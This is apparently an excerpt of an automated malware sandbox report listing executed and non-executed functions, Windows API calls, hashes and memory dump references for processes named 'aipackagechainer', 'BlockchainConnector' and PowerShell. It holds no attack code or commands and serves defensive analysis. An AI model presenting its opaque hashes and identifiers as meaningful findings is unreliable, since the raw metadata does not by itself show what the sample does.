                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
                                                                                                                                                                                                                                                  • String ID: bad locale name
                                                                                                                                                                                                                                                  • API String ID: 3988782225-1405518554
                                                                                                                                                                                                                                                  • Opcode ID: 2a311086992c2615ac124674a6eff2e43cb032dc08003765f099b969930bff85
                                                                                                                                                                                                                                                  • Instruction ID: c02f0f48527915e203db0999cb0ed35098e9acf077a473133708a1350a65679f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 2a311086992c2615ac124674a6eff2e43cb032dc08003765f099b969930bff85
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2021F070815B84DED721CF68C90478BBFF4AF15310F10868ED08997781D3B5AA04CBA2
                                                                                                                                                                                                                                                  Function 002799B2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMONLIBRARYCODE
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • VirtualQuery.KERNEL32(80000000,002798F7,0000001C,00279AEC,00000000,?,?,?,?,?,?,?,002798F7,00000004,002D77FC,00279B7C), ref: 002799C3
                                                                                                                                                                                                                                                  • GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,002798F7,00000004,002D77FC,00279B7C), ref: 002799DE
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: InfoQuerySystemVirtual
                                                                                                                                                                                                                                                  • String ID: D
                                                                                                                                                                                                                                                  • API String ID: 401686933-2746444292
                                                                                                                                                                                                                                                  • Opcode ID: 222e0fce73db14fe8e117c887f819a4878ce8856fac7e792c8906e41e1defe83
                                                                                                                                                                                                                                                  • Instruction ID: 6d495c67caeed89c4d27fe104a61e1d869a07b63347b8c857f368429f5d6079a
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 222e0fce73db14fe8e117c887f819a4878ce8856fac7e792c8906e41e1defe83
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1201F73261020AABDF14DE29DC05BED7BA9AFC4324F0CC225AD1DE7244EA34DC528A80
                                                                                                                                                                                                                                                  Function 00279DDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 0022E4E0: InitializeCriticalSectionEx.KERNEL32(?,00000000,00000000,4938EAB5,?,Function_0008B9F0,000000FF), ref: 0022E507
                                                                                                                                                                                                                                                    • Part of subcall function 0022E4E0: GetLastError.KERNEL32(?,00000000,00000000,4938EAB5,?,Function_0008B9F0,000000FF), ref: 0022E511
                                                                                                                                                                                                                                                  • IsDebuggerPresent.KERNEL32(?,?,?,002116CF), ref: 00279E0E
                                                                                                                                                                                                                                                  • OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,002116CF), ref: 00279E1D
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  • ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00279E18
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: CriticalDebugDebuggerErrorInitializeLastOutputPresentSectionString
                                                                                                                                                                                                                                                  • String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
                                                                                                                                                                                                                                                  • API String ID: 3511171328-631824599
                                                                                                                                                                                                                                                  • Opcode ID: 947e8dabed73a3db01d8464a2e6f45387617e64089e9c8451c33da502bc7bb36
                                                                                                                                                                                                                                                  • Instruction ID: 0aea29c5a49854d440426369dd43fd89ea3d8bd92ef30d59ac97df7e09d452e0
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 947e8dabed73a3db01d8464a2e6f45387617e64089e9c8451c33da502bc7bb36
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 96E06DB06107518FD730EF64F4087837BE4AB05748F01891EF89AC2240EBB0E895CF52
                                                                                                                                                                                                                                                  Function 00223C80 Relevance: 5.2, APIs: 4, Instructions: 236memoryCOMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(002243D3,002243D3), ref: 00223DBD
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,002243D3,002243D3), ref: 00223DC3
                                                                                                                                                                                                                                                  • GetProcessHeap.KERNEL32(002242D4,?), ref: 00223DF7
                                                                                                                                                                                                                                                  • HeapFree.KERNEL32(00000000,002242D4,?), ref: 00223DFD
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: Heap$FreeProcess
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 3859560861-0
                                                                                                                                                                                                                                                  • Opcode ID: 5560547a2f52c75749ec06349bcf44b6fa9d61c029f5b06babd3bd72f744ca63
                                                                                                                                                                                                                                                  • Instruction ID: 3a825ff1e9821995a58f1f8eaf80014d05c8c2ee5cd5ffa79d1e9dfe431ac952
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 5560547a2f52c75749ec06349bcf44b6fa9d61c029f5b06babd3bd72f744ca63
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2D81E6B1A20315AFEB04CF58E840B9ABBF5FF51320F158569E8199B380D779EE54CB90
                                                                                                                                                                                                                                                  Function 002733E0 Relevance: 5.1, APIs: 4, Instructions: 79COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                                    • Part of subcall function 00279150: SetEvent.KERNEL32(00000002,?,?,0027341F,4938EAB5), ref: 00279166
                                                                                                                                                                                                                                                    • Part of subcall function 00279150: GetLastError.KERNEL32(?,?,0027341F,4938EAB5), ref: 00279170
                                                                                                                                                                                                                                                    • Part of subcall function 00279150: WaitForSingleObject.KERNEL32(?,000000FF,?,?,0027341F,4938EAB5), ref: 0027917C
                                                                                                                                                                                                                                                    • Part of subcall function 00279150: GetLastError.KERNEL32(?,?,0027341F,4938EAB5), ref: 00279187
                                                                                                                                                                                                                                                    • Part of subcall function 00279150: CloseHandle.KERNEL32(?,?,?,0027341F,4938EAB5), ref: 00279191
                                                                                                                                                                                                                                                    • Part of subcall function 00279150: GetLastError.KERNEL32(?,?,0027341F,4938EAB5), ref: 0027919B
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 0027343C
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00273467
                                                                                                                                                                                                                                                  • CloseHandle.KERNEL32(74DF2EE0,4938EAB5), ref: 0027348C
                                                                                                                                                                                                                                                  • GetLastError.KERNEL32 ref: 00273496
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000003.00000002.1913377341.0000000000211000.00000020.00000001.01000000.00000003.sdmp, Offset: 00210000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913258747.0000000000210000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913707951.00000000002AE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1913766661.00000000002D6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  • Associated: 00000003.00000002.1914420652.00000000002DE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_3_2_210000_aipackagechainer.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID: ErrorLast$CloseHandle$EventObjectSingleWait
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID: 2212007442-0
                                                                                                                                                                                                                                                  • Opcode ID: cc10cf0ecdd670ad53b74cea24b167f35bf8b8a557bee0f5128cb245b0ed35ce
                                                                                                                                                                                                                                                  • Instruction ID: 650c86d706a75fc6a0b8f73cbe584f53a60bd1bf5e090f807614e2fa727c3588
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cc10cf0ecdd670ad53b74cea24b167f35bf8b8a557bee0f5128cb245b0ed35ce
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 2A212771914306DBDB25CF69D854B6AFBF8FF05720F10826ED81893380DB75AA10CBA1

                                                                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                                                                  Function 00007FF7A1561154 Relevance: 1.4, Strings: 1, Instructions: 123COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000007.00000002.1907575773.00007FF7A1561000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7A1560000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000007.00000002.1907560111.00007FF7A1560000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_7_2_7ff7a1560000_BlockchainConnector.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: 0
                                                                                                                                                                                                                                                  • API String ID: 0-4108050209
                                                                                                                                                                                                                                                  • Opcode ID: af705351b447f7d8fe7362aba18bf5dec47aebb100b15702f59e8798b251ba13
                                                                                                                                                                                                                                                  • Instruction ID: ce8d1eecf84ae2da18182b41ead4525baf4ca5d84b4c8933c404a257e3f6d452
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: af705351b447f7d8fe7362aba18bf5dec47aebb100b15702f59e8798b251ba13
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6561E665E0AB06C9FB80AF56E880379B3A0BB44B84F864439D95DA7374DE7EE4408760
                                                                                                                                                                                                                                                  Function 00007FF7A1561125 Relevance: .0, Instructions: 14COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 00000007.00000002.1907575773.00007FF7A1561000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF7A1560000, based on PE: true
                                                                                                                                                                                                                                                  • Associated: 00000007.00000002.1907560111.00007FF7A1560000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_7_2_7ff7a1560000_BlockchainConnector.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: f1f79c0fda3fdf04e54e28c6f0470840175205088bf4299f8c970ec01c924fd9
                                                                                                                                                                                                                                                  • Instruction ID: b21793edc25b43ccd27cdbc1fe90b93ca5caf6122738031ac8728f9e41c98eee
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: f1f79c0fda3fdf04e54e28c6f0470840175205088bf4299f8c970ec01c924fd9
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 45D05E75E09201DEF700EF74D8412B873706B40708F940074CE1C2B761C63896519B14

                                                                                                                                                                                                                                                  Executed Functions

                                                                                                                                                                                                                                                  Function 077616D0 Relevance: 6.8, Strings: 5, Instructions: 583COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2054326235.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_7760000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: 4'^q$4'^q$4'^q$4'^q$Hbq
                                                                                                                                                                                                                                                  • API String ID: 0-3951994845
                                                                                                                                                                                                                                                  • Opcode ID: cbda74aa5b0fd797c5c9d2710b37571c379f2570852823c5b52e1dd1c6450a39
                                                                                                                                                                                                                                                  • Instruction ID: 7ed911ce52dc48043f7023bc2c9e042fdad156b6c86b12ef190f4a0b3f6ba409
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: cbda74aa5b0fd797c5c9d2710b37571c379f2570852823c5b52e1dd1c6450a39
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 7C1257B1B0431A8FC7158B78981D66B7BA2AFC2390F54C8BAD905CB359DB35CC45C7A2
                                                                                                                                                                                                                                                  Function 030E86B0 Relevance: .4, Instructions: 436COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2038049196.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_30e0000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 955e1714addf9d1a90f31a45e37d823e04ed0b9526a768f20d2929fc1c5ff684
                                                                                                                                                                                                                                                  • Instruction ID: a03577d250fe126074987a9478a0942b3e5809e20b3fe56c3912214d4bd020e9
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 955e1714addf9d1a90f31a45e37d823e04ed0b9526a768f20d2929fc1c5ff684
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9E020774A012199FCB05CF98D584AAEFBF2FF88710F288559E845AB365C731ED81CB90
                                                                                                                                                                                                                                                  Function 030E29F0 Relevance: .2, Instructions: 213COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2038049196.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_30e0000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 9bb3efbae95d03a6da49f68da831bd93e485b1200f615906fa51f439ecbbcd0e
                                                                                                                                                                                                                                                  • Instruction ID: 0f4f0a2018a4ff01f6a1a6b2436724c369e90527a26ca759e15161af0c282061
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9bb3efbae95d03a6da49f68da831bd93e485b1200f615906fa51f439ecbbcd0e
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3F917A70A016058FCB15DF5CC5949AAFBBAFF88310B288999D815AB365C736FC51CBA0
                                                                                                                                                                                                                                                  Function 030ECC10 Relevance: .2, Instructions: 164COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2038049196.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_30e0000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: d3fab35843f517bffcc77fed608d34b5dd96b2f44598c852a929c5ad05318fb8
                                                                                                                                                                                                                                                  • Instruction ID: ba34152986eba5d147d701ada23eff857a058de7e7ce844d8787d63768e8053b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d3fab35843f517bffcc77fed608d34b5dd96b2f44598c852a929c5ad05318fb8
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 41511630701214CFEB65EB74C8A4B6E77F6AF89244F1405A9E406EB3A0DB399D81CF10
                                                                                                                                                                                                                                                  Function 077616B5 Relevance: .1, Instructions: 123COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2054326235.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_7760000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: c4321fa6f780c40f0e6b99a11d48e60ed7be0359124d05b22ae9890639bdf6e6
                                                                                                                                                                                                                                                  • Instruction ID: b70d11ab776c136cbc6eb1296a75c70dc0abd09c7341c589c1f27585af130425
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c4321fa6f780c40f0e6b99a11d48e60ed7be0359124d05b22ae9890639bdf6e6
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6241FCF0E0030B9FD7148B18890DA6A77A2EF81790F9584B5DD049B359D735DD44DB62
                                                                                                                                                                                                                                                  Function 030E86A1 Relevance: .1, Instructions: 68COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2038049196.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_30e0000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 50e5ad203e55acffcce8d4b088d9580fc512f082da193a840e2c756de4990f2a
                                                                                                                                                                                                                                                  • Instruction ID: 4c2e3dd557e114f8822b1467451897b7e0e14fa58dcfcf494a3738d20f5ab7a8
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 50e5ad203e55acffcce8d4b088d9580fc512f082da193a840e2c756de4990f2a
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: BB211974A002199FCB04CF99D5949AAFBF1FF48310B148599D949EB765C731EC41CBA0
                                                                                                                                                                                                                                                  Function 030ECAFB Relevance: .1, Instructions: 66COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2038049196.00000000030E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 030E0000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_30e0000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 68a72012e42ad4cb69faf283db70709782d6f9464032e6954f7ff40b27ac50f3
                                                                                                                                                                                                                                                  • Instruction ID: 3e563334248b41a839cdec2c7e1524469d2387266553e458c9231fe173b971cc
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 68a72012e42ad4cb69faf283db70709782d6f9464032e6954f7ff40b27ac50f3
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 3631C874A012298FEB29DF28C990F9DB7F1BF84204F1046E5D508AB3A5DA34DE85CF90
                                                                                                                                                                                                                                                  Function 0302D006 Relevance: .0, Instructions: 47COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2037511878.000000000302D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0302D000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_302d000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 74857031ea37d834cd4fad111e7997aa7929f2740ba4a8b7fd54be9e80d027b5
                                                                                                                                                                                                                                                  • Instruction ID: af108ec3c1dfdd009eb1008062b445cdb743a8a945f10d9e339383f6cd07518b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 74857031ea37d834cd4fad111e7997aa7929f2740ba4a8b7fd54be9e80d027b5
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 55018C6140E3D09FD7128B258C94752BFB8EF43224F1D84CBE8988F2A7C2689C49C772
                                                                                                                                                                                                                                                  Function 0302D01D Relevance: .0, Instructions: 45COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2037511878.000000000302D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0302D000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_302d000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: b052cdb8bc9cbab50f3fd4191e16dc3d2ac6da4682eeb285e4f658c3a4283734
                                                                                                                                                                                                                                                  • Instruction ID: b01cd212e59ad4a4acef2f11626a14e8266a60d843c58f01ca843a44e7472932
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b052cdb8bc9cbab50f3fd4191e16dc3d2ac6da4682eeb285e4f658c3a4283734
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D601F73140A3109AE750CA25C9C4B6BFFDCDF41324F1CC469ED684A256C279DC45C7B1
                                                                                                                                                                                                                                                  Function 0776038D Relevance: .0, Instructions: 21COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2054326235.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_7760000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                                  • API String ID:
                                                                                                                                                                                                                                                  • Opcode ID: 111c63d539c6b349c73a4470bd3c7346b7be2835dc5df88d053b676ccf54e156
                                                                                                                                                                                                                                                  • Instruction ID: e79b4212e199981c0391203af551593cc7e591ca2b88e5cdf1b79aabfbe2457f
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 111c63d539c6b349c73a4470bd3c7346b7be2835dc5df88d053b676ccf54e156
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: D9E0462520E3E02EC31253281C22A5B3F728F8319074A48CAD485EF2A3CA0DAC0983F7

                                                                                                                                                                                                                                                  Non-executed Functions

                                                                                                                                                                                                                                                  Function 07761310 Relevance: 10.3, Strings: 8, Instructions: 329COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2054326235.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_7760000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: 4'^q$4'^q$tP^q$tP^q$$^q$$^q$$^q$$^q
                                                                                                                                                                                                                                                  • API String ID: 0-3865595929
                                                                                                                                                                                                                                                  • Opcode ID: ae870063a3404c20b1f89d2e295e3d97d2f670e296453b7ba0720c2bdfbb30eb
                                                                                                                                                                                                                                                  • Instruction ID: 60a493a236634a2420c11c053210b09036aa533d8822e975f2d9e5cd0d38e13b
                                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: ae870063a3404c20b1f89d2e295e3d97d2f670e296453b7ba0720c2bdfbb30eb
                                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 42A167B17043498FC7158B79980CA66BFB5AFC2390F1888ABD846CF35ADA35CC45C7A1
                                                                                                                                                                                                                                                  Function 07761060 Relevance: 6.4, Strings: 5, Instructions: 188COMMON
                                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                                  • Source File: 0000000B.00000002.2054326235.0000000007760000.00000040.00000800.00020000.00000000.sdmp, Offset: 07760000, based on PE: false
                                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                  • Snapshot File: hcaresult_11_2_7760000_powershell.jbxd
                                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                                  • API ID:
                                                                                                                                                                                                                                                  • String ID: 4'^q$4'^q$$^q$$^q$$^q
                                                                                                                                                                                                                                                  • API String ID: 0-3272787073
